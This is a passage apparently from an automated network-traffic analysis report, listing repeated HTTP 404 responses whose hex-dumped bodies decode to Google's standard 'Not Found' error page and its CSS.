74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:02 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:04 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:06 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:08 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:08 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:08 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 